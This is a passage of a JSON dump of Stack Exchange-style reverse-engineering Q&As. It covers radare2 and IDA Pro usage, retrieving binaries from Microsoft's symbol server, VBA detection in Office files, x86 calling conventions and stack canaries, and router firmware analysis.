        "Answer": "<p>First of all, make sure you run the latest version of radare2 from git repository:</p>\n\n<pre><code>$ git clone https://github.com/radare/radare2.git\n$ cd radare2\n$ ./sys/install.sh\n</code></pre>\n\n<p>If you don\u2019t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the <a href=\"http://radare.org/r/down.html\" rel=\"noreferrer\">download page</a> at the radare2 website.</p>\n\n<p>radare2 has several different Visual Views, before I'll explain them - please analyze the program using <code>aa</code> and seek to a function using <code>s &lt;function_name&gt;</code>. You can list the functions recognized by radare2 using <code>afl</code>.</p>\n\n<ul>\n<li><code>V</code> - The basic Visual Mode. You can toggle between the views using\n<code>p</code> and <code>P</code>.</li>\n<li><code>VV</code> - Visual Graph Mode, Displays an ASCII graph\nview. Again you can toggle between the views using <code>p</code> and <code>P</code>.  </li>\n<li><code>V!</code> - Visual Panels Mode, which is the mode you attached to your\nquestion.</li>\n</ul>\n\n<p>In each of the modes mentioned above you can press <code>?</code> in order to list the commands available. The commands varies between the different modes.</p>\n\n<p>Pressing <code>s</code> and <code>S</code> inside a Visual view while debugging will step-in and step-over respectively. radare will automatically sync the view with <code>eip</code> on every step.<br>\nIn Visual Panels Mode (<code>V!</code>) you can use <code>TAB</code> to navigate between the panels and h/j/k/l to move inside the view/panel.<br>\nYou can run r2 commands from inside Visual Mode using <code>:</code> (ie. <code>s 0x00402c1e</code>).  </p>\n\n<p>If it still doesn't work and you believe it's a problem with radare please <a href=\"https://github.com/radare/radare2/issues\" rel=\"noreferrer\">open an issue</a> and the great contributors of radare2 will be happy to help you.</p>\n"
    },
    {
        "Id": "15612",
        "CreationDate": "2017-06-20T13:26:19.180",
        "Body": "<p>Can you explain why IDA-Pro is confused with the following <strong>simple</strong> x86 instruction?</p>\n\n<pre><code>...\n.text:0000000000001885   jnz     loc_1AD0\n.text:000000000000188B loc_188B:\n.text:000000000000188B   mov     byte ptr [var+9], 1\n.text:000000000000188B some_func endp ; sp-analysis failed\n.text:000000000000188B\n.text:000000000000188B ; ---------------------------------------------------\n.text:0000000000001890                 db 4Ch\n.text:0000000000001891 ; ---------------------------------------------------\n.text:0000000000001891\n.text:0000000000001891 _debug_info_seg_0:\n.text:0000000000001891   mov     eax, esp\n.text:0000000000001893   cmp     rbx, 20h\n...\n</code></pre>\n\n<p>This confusion forces me to manually redefine the incorrect data as code, and \nthen to redefine the subroutine in order to fix the miscalculated endp position.</p>\n\n<pre><code>...\n.text:0000000000001885   jnz     loc_1AD0\n.text:000000000000188B loc_188B: \n.text:000000000000188B   mov     byte ptr [r14+9], 1\n.text:0000000000001890   mov     rax, r12              &lt;&lt;&lt;FIXED!&gt;&gt;&gt;\n.text:0000000000001893   cmp     rbx, 20h\n.text:0000000000001897   jb      loc_1A80e\n...\n</code></pre>\n\n<p>The issue happens several times with other simple x86-x64 instructions.\nAny idea why? and how to automatically correct those? </p>\n",
        "Title": "Why do simple x86 instructions confuses IDA Pro",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>IDA's autoanalyzer considers user-defined names to be strong indicators of code or data item starts. Since you have the <code>_debug_info_seg_0</code> symbol in the middle of the would-be instruction, IDA stopped disassembly instead of removing the symbol. You could write a script to remove such hindering symbols and recreate the instructions.</p>\n"
    },
    {
        "Id": "15626",
        "CreationDate": "2017-06-22T10:49:47.373",
        "Body": "<p>Let's suppose that I have an APK file. I decompiled it but I have very obfuscated code. Is it possible to analize this APK in such way that application will be executed step by step (instruction after instruction with breakpoints between each instructions) and the debugger will show me equivalent of compiled instruction in my obfuscated source code that I will able to deobfuscate it (give methods correct names for example) on my own?</p>\n",
        "Title": "Decompiling and deobfuscating APK file",
        "Tags": "|debugging|decompilation|deobfuscation|",
        "Answer": "<p>Yes, this is indeed possible.</p>\n\n<p>IDA Pro, starting from version 6.6 supports source code level debugging for Dalvik Bytecode.</p>\n\n<p>You can find more details here: <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf</a></p>\n\n<p>Also, you could use dex2jar to get the Java code from the APK. Then you can manually deobfuscate the code by writing short Java Programs which will decode/decrypt/deobfuscate sections of the code.</p>\n"
    },
    {
        "Id": "15627",
        "CreationDate": "2017-06-22T11:20:51.977",
        "Body": "<p>If I have an executable file (let's say ntoskrnl.exe) I can obtain it's .pdb file from Microsoft. Is it possible to do the reverse? If I have a .pdb can I obtain the .exe? Or the only method is to hope it is somewhere on my symbols server and look it up by pdb signature and/or timedate stamp?</p>\n",
        "Title": "Obtain .exe/.dll/.sys for a given .pdb file",
        "Tags": "|windows|debugging|debugging-symbols|",
        "Answer": "<p>the binaries (exe , sys , dll ) are fetched from ms symbol servers by their time_date_stamp and size</p>\n\n<p>the windbg command !chkimg normally fetches the binaries for minidumps and it uses <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680726(v=vs.85).aspx\" rel=\"nofollow noreferrer\">SymFindFileInPath</a> Function  </p>\n\n<p>which takes three ids which are different for pdbs and binaries you may take a look at the Remarks Section Of the function for the id definition</p>\n\n<p>there is no reverse match afaik ie given a pdb you cant retrieve the timestamp and size of the binary which you would require for a successfull retrieval</p>\n\n<p>only recourse left is to grep the local drives for similar named binary </p>\n\n<p>using dumpbin  and the windbg package tool dbh.exe </p>\n\n<p>note there are two pdb in the cache while i have only one binary matching the second pdb in my system note carefully the age is appended to the guid in the srvind output while the age is printed in a seperate line in dump bin out put </p>\n\n<p>now that you know the file you can fetch a pristine copy if needed from ms symbols server by dumping the time stamp / size and appending them in to a string and calling httpget with useragent as microsoft-symbol-server (or whatever it is now (my memory of the useragent is several years old grab a network packet for a latest user agent string)</p>\n\n<pre><code>C:\\&gt;dbh srvind e:\\SYMBOLS\\cdfs.pdb\\6FA7C1B9FB96447B8608B2F31CEADB312\\cdfs.pdb\n\ne:\\SYMBOLS\\cdfs.pdb\\6FA7C1B9FB96447B8608B2F31CEADB312\\cdfs.pdb : 6FA7C1B9FB96447\nB8608B2F31CEADB312\n\nC:\\&gt;dbh srvind e:\\SYMBOLS\\cdfs.pdb\\D457507255544405BD9A5C4D3EBCCBAE2\\cdfs.pdb\n\ne:\\SYMBOLS\\cdfs.pdb\\D457507255544405BD9A5C4D3EBCCBAE2\\cdfs.pdb : D45750725554440\n5BD9A5C4D3EBCCBAE2\n\nC:\\&gt;dumpbin /headers \"c:\\Windows\\System32\\drivers\\cdfs.sys\" | grep -i rsds\n    4A5BBF12 cv            21 000028C0     1CC0    Format: RSDS, {D4575072-5554-\n4405-BD9A-5C4D3EBCCBAE}, 2, cdfs.pdb\n</code></pre>\n\n<p>here is a dumpbin versus actual dump and !itoldyouso output </p>\n\n<pre><code>C:\\&gt;dumpbin /headers \"c:\\Windows\\System32\\drivers\\cdfs.sys\" | grep -i \"size of i\nmage\"\n           16000 size of image\n\nC:\\&gt;dumpbin /headers \"c:\\Windows\\System32\\drivers\\cdfs.sys\" | grep -i date\n        4A5BBF12 time date stamp Tue Jul 14 04:41:14 2009\n\nC:\\&gt;cdb -z c:\\Windows\\System32\\drivers\\cdfs.sys\n\n\n0:000&gt; !itoldyouso cdfs\n\ncdfs.sys\n    Timestamp: 4A5BBF12\n  SizeOfImage: 16000\n          pdb: cdfs.pdb\n      pdb sig: D4575072-5554-4405-BD9A-5C4D3EBCCBAE\n          age: 2\n\nLoaded pdb is e:\\symbols\\cdfs.pdb\\D457507255544405BD9A5C4D3EBCCBAE2\\cdfs.pdb\n\ncdfs.pdb\n      pdb sig: D4575072-5554-4405-BD9A-5C4D3EBCCBAE\n          age: 2\n\nMATCH: cdfs.pdb and cdfs.sys\n</code></pre>\n\n<p>here is a network packet header with the latest user agent string for a binary fetch</p>\n\n<pre><code>{\n\"Host Name\":\"msdl.microsoft.com\",\n\"Method\":\"GET\",\n\"Path\":\"/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_\",\n\"User Agent\":\"Microsoft-Symbol-Server/10.0.0.0\",\n\"Response Code\":\"200\",\n\"Response String\":\"OK\",\n\"Content Type\":\"application/octet-stream\",\n\"Referer\":\"\",\n\"Content Encoding\":\"\",\n\"Transfer Encoding\":\"\",\n\"Server\":\"Microsoft-IIS/8.5\",\n\"Content Length\":\"295985\",\n\"Connection\":\"\",\n\"Cache Control\":\"public\",\n\"Location\":\"\",\n\"Server Time\":\"6/24/2017 4:37:26 PM\",\n\"Expiration Time\":\"\",\n\"Last Modified Time\":\"12/16/2010 8:20:21 AM\",\n\"Cookie\":\"\",\n\"Client Address\":\"xxx.xxx.xx.xx:xxxxx\",\n\"Server Address\":\"204.79.197.219:80\",\n\"Request Time\":\"00:07:23.331\",\n\"Response Time\":\"1444 ms\",\n\"URL\":\"http://msdl.microsoft.com/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_\"\n}\n</code></pre>\n\n<p>and the timestamp and size details grabbed from list modules output</p>\n\n<pre><code>0:000&gt; dx -r0 @$lmvmcalc = Debugger.Utility.Control.ExecuteCommand(\"lmvm calc\")\n@$lmvmcalc = Debugger.Utility.Control.ExecuteCommand(\"lmvm calc\")                \n0:000&gt; dx -r0 @$lmvmcalc[8] ; dx -r0 @$lmvmcalc[6]\n@$lmvmcalc[8]    :     ImageSize:        000C0000\n@$lmvmcalc[6]    :     Timestamp:        Sat Nov 20 15:10:45 2010 (4CE7979D)\n</code></pre>\n\n<p>and a fetch without symsrv.dll using wget and comparing with local file </p>\n\n<pre><code>C:\\&gt;md testfetchwithwget\n\nC:\\&gt;cd testfetchwithwget\n\nC:\\testfetchwithwget&gt;ls -l\ntotal 0\n</code></pre>\n\n<p>wgetting with useragent and debug spew on</p>\n\n<pre><code>C:\\testfetchwithwget&gt;wget -d -c -U=\"Microsoft-Symbol-Server/10.0.0.0\" \"http://msdl.microsoft.com/dow\nnload/symbols/calc.exe/4CE7979Dc0000/calc.ex_\"\nSetting --continue (continue) to 1\nSetting --user-agent (useragent) to =Microsoft-Symbol-Server/10.0.0.0\nDEBUG output created by Wget 1.12.1-dev Mar 04 2010 (mainline-013c8e2f5997) on Windows-MinGW.\n\n--2017-06-24 22:35:20--  http://msdl.microsoft.com/download/symbols/calc.exe/4CE7979Dc0000/calc.ex_\nResolving msdl.microsoft.com... seconds 0.00, 204.79.197.219\nCaching msdl.microsoft.com =&gt; 204.79.197.219\nConnecting to msdl.microsoft.com|204.79.197.219|:80... seconds 0.00, connected.\nCreated socket 204.\nReleasing 0x00893e38 (new refcount 1).\n\n---request begin---\nGET /download/symbols/calc.exe/4CE7979Dc0000/calc.ex_ HTTP/1.0\nUser-Agent: =Microsoft-Symbol-Server/10.0.0.0\nAccept: */*\nHost: msdl.microsoft.com\nConnection: Keep-Alive\n\n---request end---\nHTTP request sent, awaiting response...\n---response begin---\nHTTP/1.1 200 OK\nCache-Control: public\nContent-Length: 295985\nContent-Type: application/octet-stream\nLast-Modified: Thu, 16 Dec 2010 08:20:21 GMT\nAccept-Ranges: bytes\nETag: \"7367f914fa9ccb1:0\"\nServer: Microsoft-IIS/8.5\nX-MSEdge-Ref: Ref A: A80831FD9CD34C76B235D9794A671A8B Ref B: BOM02EDGE0109 Ref C: Sat Jun 24 10:05:3\n3 2017 PST\nX-MSEdge-Ref-OriginShield: Ref A: 5B1085618AB14BDBA7B8195D249E26E2 Ref B: BOM01EDGE0317 Ref C: Sat J\nun 24 07:42:52 2017 PST\nDate: Sat, 24 Jun 2017 17:05:33 GMT\nConnection: keep-alive\n\n---response end---\n200 OK\nRegistered socket 204 for persistent reuse.\nLength: 295985 (289K) [application/octet-stream]\nSaving to: `calc.ex_'\n\n100%[==========================================================&gt;] 295,985     15.1K/s   in 25s\n\n2017-06-24 22:35:51 (11.3 KB/s) - `calc.ex_' saved [295985/295985]\n</code></pre>\n\n<p>comparing     </p>\n\n<pre><code>C:\\testfetchwithwget&gt;ls -l\ntotal 292\n-rw-rw-rw-  1 HP 0 295985 2010-12-16 13:50 calc.ex_\n\nC:\\testfetchwithwget&gt;expand -R calc.ex_ calc.exe\nMicrosoft (R) File Expansion Utility  Version 6.1.7600.16385\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nAdding C:\\testfetchwithwget\\calc.exe to Extraction Queue\n\nExpanding Files ....\n\nExpanding Files Complete ...\nCannot expand a file onto itself: calc.exe.\n\n\nC:\\testfetchwithwget&gt;ls -l\ntotal 1052\n-rw-rw-rw-  1 HP 0 295985 2010-12-16 13:50 calc.ex_\n-rwxrwxrwx  1 HP 0 776192 2010-12-15 20:21 calc.exe\n\nC:\\testfetchwithwget&gt;ls -l c:\\Windows\\System32\\calc.exe\n-rwxrwxrwx  2 HP 0 776192 2010-11-20 04:16 c:\\Windows\\System32\\calc.exe\n\nC:\\testfetchwithwget&gt;fc /b  c:\\Windows\\System32\\calc.exe .\\calc.exe\nComparing files C:\\WINDOWS\\SYSTEM32\\calc.exe and .\\CALC.EXE\nFC: no differences encountered\n</code></pre>\n"
    },
    {
        "Id": "15632",
        "CreationDate": "2017-06-23T02:27:53.850",
        "Body": "<p>In other words, Is it safe to load a malware into IDA Pro on my personal machine? Would IDA Pro run the sample or load it into memory? </p>\n",
        "Title": "Is it safe to load a virus to IDA Pro?",
        "Tags": "|ida|disassembly|disassemblers|",
        "Answer": "<p>At first, it is always recommended to analyze viruses inside an Isolated environment. So, you could install IDA Pro in a Virtualized Environment such as VMWare Work Station and load the binary in IDA Pro.</p>\n\n<p>IDA Pro by default will only perform disassembly of the binary. It means, static analysis or in other words, the code of the binary won't be executed.</p>\n\n<p>However, there are several scenarios to consider while analyzing malicious binaries with IDA Pro:</p>\n\n<ol>\n<li><p>The binary could exploit an unknown vulnerability in IDA Pro in such a way that when it is loaded by IDA Pro, the malicious code can execute. I haven't seen such a vulnerability yet however we must consider it while analyzing malicious binaries.</p></li>\n<li><p>If you are using IDA Pro for debugging the binary, then it means the code will execute and so you should perform the analysis in a virtualized environment.</p></li>\n</ol>\n"
    },
    {
        "Id": "15639",
        "CreationDate": "2017-06-23T08:00:45.593",
        "Body": "<p>So, lately I've been working on a project involving malware which gets spread via MS Office documents and, among other things, I need to detect the VBA code in appropriate document streams.</p>\n\n<p>I've read most parts of the <a href=\"https://msdn.microsoft.com/en-us/library/office/cc313094(v=office.12).aspx\" rel=\"nofollow noreferrer\">Office VBA File Format Structure</a>, from which it seems to me that the correct way of detecting the beginning of the compressed code is by parsing the <code>dir</code> stream which contains the <code>PROJECTMODULES Record</code> and which contains the <code>MODULEOFFSET Record</code> whose element <code>TextOffset</code> contains the actual offset to the compressed source code inside the appropriate <code>ModuleStream</code>. I've also found a project <a href=\"https://github.com/unixfreak0037/officeparser\" rel=\"nofollow noreferrer\">officeparser</a> which performs the VBA code detection in the following way, but according to the project site on Github, there hasn't been any work on the project in the last few years.</p>\n\n<p>However, I've also found two other projects that deal with the same problem in a different way and which are more up to date. The projects are <a href=\"https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py\" rel=\"nofollow noreferrer\">oledump</a> and <a href=\"https://github.com/decalage2/oletools/tree/master/oletools\" rel=\"nofollow noreferrer\">oletools</a> and the way they detect the beginning of the compressed VBA code inside a stream is by searching for the pattern <code>\\x00Attribut</code> and then positioning 3 bytes back from that position. I haven't found any official documentation on this method so what I would like to know is if this method is some heuristic way of searching for the compressed code or am I missing some parts of the documentation?</p>\n",
        "Title": "VBA code detection in MS office documents",
        "Tags": "|malware|file-format|vba|",
        "Answer": "<p>You should note that the code exists in up to 3 compiled states within the file, with the compressed source code being the source of last resort.</p>\n\n<p>The VBA engine will prefer the code in execode format (where the file and the current VBA environment are a match), and <em>then</em> the p-code (where the file and VBA environment can match more loosely) and only then the compressed source code.</p>\n\n<p>It is possible for the p-code to be different to the compressed source code, and where the environment doesn't differ, the source code will be ignored.</p>\n\n<p>When you open a file containing VBA, the VBE usually decodes the p-code into the source that you see in the visual basic editor.</p>\n\n<p>A malicious actor can embed source-code that looks benign, but the p-code is malicious.</p>\n\n<p>See this the <a href=\"https://github.com/bontchev/pcodedmp\" rel=\"nofollow noreferrer\">pcodedmp</a> project that leverages <a href=\"https://github.com/decalage2/oletools/tree/master/oletools\" rel=\"nofollow noreferrer\">OLETools</a>, and attempts to decode the p-code.</p>\n"
    },
    {
        "Id": "15643",
        "CreationDate": "2017-06-23T17:02:14.297",
        "Body": "<p>I want to find an address of a symbol (e.g <code>strcpy</code>) inside a binary using radare2. I tried to use the <code>f</code> command to list all flags which are recognized by r2 but the list is enormous and it's not comfortable to find the address of a specific symbol that way.  </p>\n\n<p>What is the best way, if there's any, to do so.</p>\n",
        "Title": "How to find a symbol in a binary using radare2?",
        "Tags": "|radare2|",
        "Answer": "<p>The <code>f</code> command is used to list all the flags from the selected flagspace. By default all the available flagspaces are selected. In order to select the 'symbols' flagspace and list only the flags inside it, use:</p>\n\n<pre><code>[0x004049a0]&gt; fs symbols\n[0x004049a0]&gt; f\n0x00402a00 261 main\n0x004049a0 41 entry0\n0x0061e600 8 obj.__bss_start\n0x00413c8c 9 sym._fini\n0x0061e610 4 obj.optind\n0x004022b8 26 sym._init\n0x0061e620 8 obj.program_invocation_name\n0x0061e600 0 loc.__bss_start\n0x0061f368 0 loc._end\n0x00412960 38 sym._obstack_memory_used\n0x0061e5f8 8 obj.obstack_alloc_failed_handler\n0x00412780 17 sym._obstack_begin\n0x0061e640 8 obj.stderr\n0x004128f0 106 sym._obstack_free\n0x004128c0 48 sym._obstack_allocated_p\n0x0061e618 8 obj.optarg\n0x004127a0 21 sym._obstack_begin_1\n0x004127c0 245 sym._obstack_newchunk\n0x0061e608 8 obj.stdout\n</code></pre>\n\n<p>However, my preferred way to list all the symbols is to use the <code>i</code> command which actually uses 'rabin2' (<code>man rabin2</code>) to retrieve information about the binary. Use <code>i?</code> to get help about the command.</p>\n\n<p>In order to list all the symbols run <code>is</code>.\nIf you want to \"grep\" for a specific symbol use radare's internal grep <code>~</code>:</p>\n\n<pre><code>[0x004049a0]&gt; is~strcpy\nvaddr=0x004023c0 paddr=0x000023c0 ord=013 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.strcpy\n</code></pre>\n\n<p>And if you want only the address, use:</p>\n\n<pre><code>[0x004049a0]&gt; is~strcpy[1]\n0x004023c0\n</code></pre>\n\n<p>More information about flags and flagspaces can be found <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html\" rel=\"noreferrer\">here</a><br>\nMore information about symbols can be found <a href=\"https://radare.gitbooks.io/radare2book/tools/rabin2/symbols.html\" rel=\"noreferrer\">here</a></p>\n"
    },
    {
        "Id": "15644",
        "CreationDate": "2017-06-23T17:09:29.650",
        "Body": "<p>I am studying some X86 code and I often see calls:</p>\n\n<pre><code>call sym.imp.printf\ncall sym.imp.scanf\ncall sym.imp.strcmp\ncall sym.imp.__stack_chk_fail\n</code></pre>\n\n<p>Those examples are the most common calls.\nBut how do they actually work?\nI mean, I know they are system calls, also printf along with scanf, strcmp are C functions. But my question is where do they get the parameters from?</p>\n\n<p>sym.imp.strcmp: where is it getting strings from to compare?</p>\n\n<p>Where is the value of scanf saved?</p>\n\n<p>And also, what does the call sym.imp.__stack_chk_fail does?</p>\n",
        "Title": "How calls work in x86",
        "Tags": "|assembly|x86|system-call|",
        "Answer": "<p><strong>System calls vs. function calls</strong></p>\n<blockquote>\n<p>I mean, I know they are system calls, also printf along with scanf, strcmp are C functions.</p>\n</blockquote>\n<p>Many C library functions are wrappers around system calls. <code>printf</code> and <code>scanf</code> are are examples of this. However, it should not be assumed that all C library functions execute system calls, as none of the <code>string.h</code> library functions, including <code>strcmp</code>,  execute any system calls.</p>\n<blockquote>\n<p>A system call is a controlled entry point into the kernel, allowing a process to request that the kernel perform some action on the process\u2019s behalf. The kernel makes a range of services accessible to programs via the system call application programming interface (API).<sup>1</sup></p>\n</blockquote>\n<p>The mechanism by which system calls are made is quite different than by that which function calls are made:</p>\n<blockquote>\n<p>The [C library] wrapper function executes a trap machine instruction (<code>int 0x80</code>), which causes the processor to switch from user mode to kernel mode and execute code pointed to by location <code>0x80</code> (128 decimal) of the system\u2019s trap vector.</p>\n<p>More recent x86-32 architectures implement the <code>sysenter</code> instruction, which provides a faster method of entering kernel mode than the conventional int <code>0x80</code> trap instruction. The use of <code>sysenter</code> is supported in the 2.6 kernel and from glibc 2.3.2 onward.<sup>1</sup></p>\n</blockquote>\n<p>Here is a visual depiction of the C library function <a href=\"http://man7.org/linux/man-pages/man2/execve.2.html\" rel=\"noreferrer\"><code>execve</code></a> being executed, in which <code>execve</code> makes a system call:</p>\n<p><a href=\"https://i.stack.imgur.com/tFy5U.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/tFy5U.png\" alt=\"TLPI steps in executing a system call\" /></a></p>\n<p><strong>x86 calling conventions</strong></p>\n<p>When a function is called, flow of control branches to a different location in memory via the <code>call</code> instruction:</p>\n<blockquote>\n<p>Saves procedure linking information on the stack and branches to the procedure (called procedure) specified with the destination (target) operand. The target operand specifies the address of the first instruction in the called procedure. This operand can be an immediate value, a general purpose register, or a memory location.<sup><a href=\"https://c9x.me/x86/html/file_module_x86_id_26.html\" rel=\"noreferrer\">2</a></sup></p>\n</blockquote>\n<p>Here is some simple example code:</p>\n<pre><code>0804841d &lt;main&gt;:\n 804841d:       55                      push   %ebp\n 804841e:       89 e5                   mov    %esp,%ebp\n 8048420:       83 e4 f0                and    $0xfffffff0,%esp\n 8048423:       83 ec 20                sub    $0x20,%esp\n 8048426:       c7 44 24 18 f0 84 04    movl   $0x80484f0,0x18(%esp)\n 804842d:       08 \n 804842e:       c7 44 24 1c 04 00 00    movl   $0x4,0x1c(%esp)\n 8048435:       00 \n 8048436:       8b 44 24 18             mov    0x18(%esp),%eax\n 804843a:       89 44 24 08             mov    %eax,0x8(%esp)         &lt;--- argument 3\n 804843e:       8b 44 24 1c             mov    0x1c(%esp),%eax\n 8048442:       89 44 24 04             mov    %eax,0x4(%esp)         &lt;--- argument 2\n 8048446:       c7 04 24 0a 85 04 08    movl   $0x804850a,(%esp)      &lt;--- argument 1\n 804844d:       e8 9e fe ff ff          call   80482f0 &lt;printf@plt&gt;   &lt;--- function call\n 8048452:       b8 00 00 00 00          mov    $0x0,%eax\n 8048457:       c9                      leave  \n 8048458:       c3                      ret\n</code></pre>\n<p>Here, the memory address that execution branches to when <code>printf</code> is called via <code>call</code> is <code>0x80482f0</code>.</p>\n<blockquote>\n<p>But my question is where do they get the parameters from?</p>\n</blockquote>\n<p>Arguments are pushed onto the stack in reverse order of their corresponding parameters in the function definition prior to the function call. The return value is saved in <code>%eax</code>. This is in accordance with x86 calling convention, referred to as <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl\" rel=\"noreferrer\">cdecl</a>:</p>\n<blockquote>\n<p><strong>Caller Rules</strong></p>\n<p>To make a subrouting call, the caller should:</p>\n<ol>\n<li><p>Before calling a subroutine, the caller should save the contents of certain registers that are designated caller-saved. The caller-saved registers are EAX, ECX, EDX. Since the called subroutine is allowed to modify these registers, if the caller relies on their values after the subroutine returns, the caller must push the values in these registers onto the stack (so they can be restore after the subroutine returns.</p>\n</li>\n<li><p><strong>To pass arguments to the subroutine, push them onto the stack before the call. The arguments should be pushed in inverted order (i.e. last argument first).</strong> Since the stack grows down, the first arguments will be stored at the lowest address (this inversion of arguments was historically used to allow functions to be passed a variable number of parameters).</p>\n</li>\n<li><p>To call the subroutine, use the call instruction. This instruction places the return address on top of the arguments on the stack, and branches to the subroutine code. This invokes the subroutine, which should follow the callee rules below.</p>\n</li>\n</ol>\n<p><strong>After the subroutine returns (immediately following the call instruction), the caller can expect to find the return value of the subroutine in the register EAX</strong>. To restore the machine state, the caller should:</p>\n<ol>\n<li>Remove the arguments from stack. This restores the stack to its state before the call was performed.</li>\n<li>Restore the contents of caller-saved registers (EAX, ECX, EDX) by popping them off of the stack. The caller can assume that no other registers were modified by the subroutine. <sup><a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling\" rel=\"noreferrer\">3</a></sup></li>\n</ol>\n</blockquote>\n<p>For a more in-depth discussion of x86 calling conventions, refer to the x86 ABI documentation found in the <a href=\"http://refspecs.linuxbase.org/elf/abi386-4.pdf\" rel=\"noreferrer\">System V Application Binary Interface Intel386 Architecture Processor Supplment, Fourth Edition</a>.</p>\n<p><strong><code>__stack_chk_fail</code> and stack guards</strong></p>\n<blockquote>\n<p>And also, what does the call sym.imp.__stack_chk_fail does?</p>\n</blockquote>\n<p><code>__stack_chk_fail</code> is called when the <a href=\"https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries\" rel=\"noreferrer\">stack canary</a> has been overwritten due to a buffer overflow:</p>\n<blockquote>\n<p>The basic idea behind stack protection is to push a &quot;canary&quot; (a randomly chosen integer) on the stack just after the function return pointer has been pushed. The canary value is then checked before the function returns; if it has changed, the program will abort. Generally, stack buffer overflow (aka &quot;stack smashing&quot;) attacks will have to change the value of the canary as they write beyond the end of the buffer before they can get to the return pointer. Since the value of the canary is unknown to the attacker, it cannot be replaced by the attack. Thus, the stack protection allows the program to abort when that happens rather than return to wherever the attacker wanted it to go.<sup><a href=\"https://lwn.net/Articles/584225/\" rel=\"noreferrer\">4</a></sup></p>\n</blockquote>\n<p>Here is some example annotated code:</p>\n<pre><code>000000000040055d &lt;test&gt;:\n  40055d:   55                      push   %rbp\n  40055e:   48 89 e5                mov    %rsp,%rbp\n  400561:   48 83 ec 20             sub    $0x20,%rsp\n  400565:   89 7d ec                mov    %edi,-0x14(%rbp)\n  400568:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax     &lt;- get guard variable value\n  40056f:   00 00 \n  400571:   48 89 45 f8             mov    %rax,-0x8(%rbp)   &lt;- save guard variable on stack\n  400575:   31 c0                   xor    %eax,%eax\n  400577:   8b 45 ec                mov    -0x14(%rbp),%eax\n  40057a:   48 8b 55 f8             mov    -0x8(%rbp),%rdx   &lt;- move it to register\n  40057e:   64 48 33 14 25 28 00    xor    %fs:0x28,%rdx     &lt;- check it against original\n  400585:   00 00 \n  400587:   74 05                   je     40058e &lt;test+0x31&gt;\n  400589:   e8 b2 fe ff ff          callq  400440 &lt;__stack_chk_fail@plt&gt; \n  40058e:   c9                      leaveq \n  40058f:   c3                      retq   \n</code></pre>\n<hr>\n<p><sub>1. The Linux Programming Interface, Chapter 3 &quot;System Programming Concepts&quot;</sub></p>\n<p><sub>2. <a href=\"https://c9x.me/x86/html/file_module_x86_id_26.html\" rel=\"noreferrer\">x86 Instruction Set Reference - CALL</a> - c9x.me</sub></p>\n<p><sub>3. <a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling\" rel=\"noreferrer\">x86 Assembly Guide</a> - University of Virginia Computer Science</sub></p>\n<p><sub>4. <a href=\"https://lwn.net/Articles/584225/\" rel=\"noreferrer\">&quot;Strong&quot; stack protection for GCC</a> - LWN.net</sub></p>\n"
    },
    {
        "Id": "15666",
        "CreationDate": "2017-06-25T20:13:05.617",
        "Body": "<p>I'm trying to reverse engineering my router firmware after reading an interesting article about an hidden backdoor inside router firmwares from a popular company.</p>\n\n<p>Data has been extracted (using raspberry pi b+ spi) directly from flash because there isn't a downloadable firmware around.</p>\n\n<p>partial serial output\n<pre><code>Start to decompress!\nBooting\nPress 'ESC' to enter BOOT console...\nExt. phy is not found. \nBoot from NOR/SPI flash\n(c)Copyright Realtek, Inc. 2012\nProject RTL8676S LOADER (LZMA)\nVersion 00.01.02a-rc (Nov 13 2014 17:15:26)\n</pre></code></p>\n\n<p>binwalk output\n<pre><code>LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 70744 bytes\n(lots of lines like this one)</pre></code></p>\n\n<p>findings\n<pre><code>0x8000 to 0xE777: bootloader?\n0x10000: rootfs start\n  first 0x13 byte: unknown data (header ?)\n  build date\n  string \"router.img\"\n  firmware data</pre></code></p>\n\n<p>I think firmware is encrypted. I can't extract bootloader, kernel and rootfs for static analysis. Is it possible to emulate using qemu?\nFw link: <a href=\"https://www.sendspace.com/file/lc8fya\" rel=\"nofollow noreferrer\">flashimage</a> pass: fi00</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "Router flash dump unknown filesystem",
        "Tags": "|hex|dumping|",
        "Answer": "<p>From what I can see, it appears to be a binary image for a MIPS processor (big endian). The image appears to be loaded at offset 0x80000000. There is a subroutine at 0x80001d70 offset which prints out the initial \"Start to decompress!\" message at PC 0x80001e38. Hopefully that should get you started.</p>\n"
    },
    {
        "Id": "15675",
        "CreationDate": "2017-06-26T16:42:12.297",
        "Body": "<p>I was able to download <a href=\"http://downloads.linksys.com/downloads/firmware/FW_E1200v2.0.7.005_US_20160713_code.bin\" rel=\"nofollow noreferrer\">Linksys E1200 router firmware</a>, which I would like to reverse engineer. I believe it is running some sort of Linux/Unix based firmware and may be running on an ARM CPU. I have run <code>binwalk</code> against it but I'm not sure what to do next.</p>\n\n<p>This is the output I get:</p>\n\n<pre><code>32            0x20            TRX firmware header, little endian, image size: 7684096 bytes, CRC32: 0xB533F216, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x14FF20, rootfs offset: 0x0\n60            0x3C            gzip compressed data, maximum compression, has original file name: \"piggy\", from Unix, last modified: 2016-07-13 03:17:53\n1376064       0x14FF40        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 6307458 bytes, 1721 inodes, blocksize: 65536 bytes, created: 2016-07-13 03:23:19\n</code></pre>\n",
        "Title": "Help reverse engineering Linksys E1200 router firmware",
        "Tags": "|firmware|",
